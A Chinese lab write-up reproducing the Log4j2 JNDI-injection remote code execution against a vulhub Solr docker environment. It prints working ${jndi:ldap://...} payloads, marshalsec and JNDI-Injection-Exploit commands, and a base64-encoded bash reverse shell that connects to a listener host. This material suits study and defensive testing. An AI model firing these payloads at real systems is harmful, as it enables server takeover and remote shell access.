log4j2远程代码执行getshell(漏洞复现)

环境介绍

192.168.15.166使用docker搭建漏洞复现环境

192.168.15.129作为接收shell的主机

dnslog测试漏洞是否存在

192.168.15.166:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.thlpcl.dnslog.cn}

会回显版本1.8.0 存在jndi注入漏洞

getshell

有两种方法去写反弹shell

手动构造ladp服务器

编写.java代码构造恶意类

再javac编译成.class文件

把.class文件放到http服务器

这里使用python

在存放.class文件的目录下执行命令

python -m http.server 4444

使用mvn命令清理项目并打包构建成果( Maven 会根据pom.xml文件这些定义自动下载并管理依赖 )同时跳过测试阶段

mvn clean package -DskipTests

执行完就多了一个target目录

里面有标红的两个jar文件即可

使用该命令模拟一个恶意的 LDAP 服务器,监听端口 1389。当目标系统尝试通过 LDAP 获取对象时,它会指向提供的 URL (http://192.168.15.166:4444/#Exploit)

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer  "http://192.168.15.166:4444/#Exploit" 1389

然后再去访问

http://192.168.15.166:8983/solr/admin/cores?action=${jndi:ldap://192.168.15.166:1389/Exploit}

执行成功就会反弹shell

JNDI注入工具

安装地址:GitHub - sayers522/JNDI-Injection-Exploit: JNDI命令注入利用

mvn clean package -DskipTests

(maven生成.jar可执行文件,在pom.xml目录下运行)

生成后会多出一个target目录 里面有这两个红色文件就行

写反弹shell

使用Runtime.exec Payload Generater | AresX's Blog (ares-x.com)网站

对反弹shell进行base64编码

在该目录下执行命令

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1LjEyOS84ODg4IDA+JjEnCg==}|{base64,-d}|{bash,-i}" -A "192.168.15.166"

执行后会有rmi ladp的服务站点

然后去另一台主机(充当接收shell的主机192.168.15.129)执行监听本地的8888端口

去访问存在jndi注入的漏洞点

这边就会收到日志

同时接收shell的主机也会得到会话 成功getshell

遇到的问题

反弹shell不成功

如果你的docker容器使用的网段(例如 172.x.x.x)与主机的网段(192.168.15.0/24)不同 那么在本地复现就不能够成功反弹shell

解决办法就是将docker容器使用的网段直接使用主机网络 可以使用 host 网络模式 此模式下,容器与主机共享网络命名空间,容器中的应用程序可以直接使用主机的 IP 地址和网络接口

先停止

docker-compose down

然后需要去修改docker-compose.yml文件

这里 由于使用了 host 网络模式 容器将直接使用主机的网络接口。容器内的服务将直接在主机的网络接口上提供服务,无需通过 Docker 端口映射

所以把端口配置注释掉即可

version: '2'
services:
  solr:
    image: vulhub/solr:8.11.0
    network_mode: host
    # 删除 ports 配置
    # ports:
    #   - "8983:8983"
    #   - "5005:5005"

再重新启动即可

docker-compose up -d

后面去访问就是192.168.15.166了

mvn执行报错

如果在执行mvn有报错

mvn clean package -DskipTests

就重新执行几遍

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值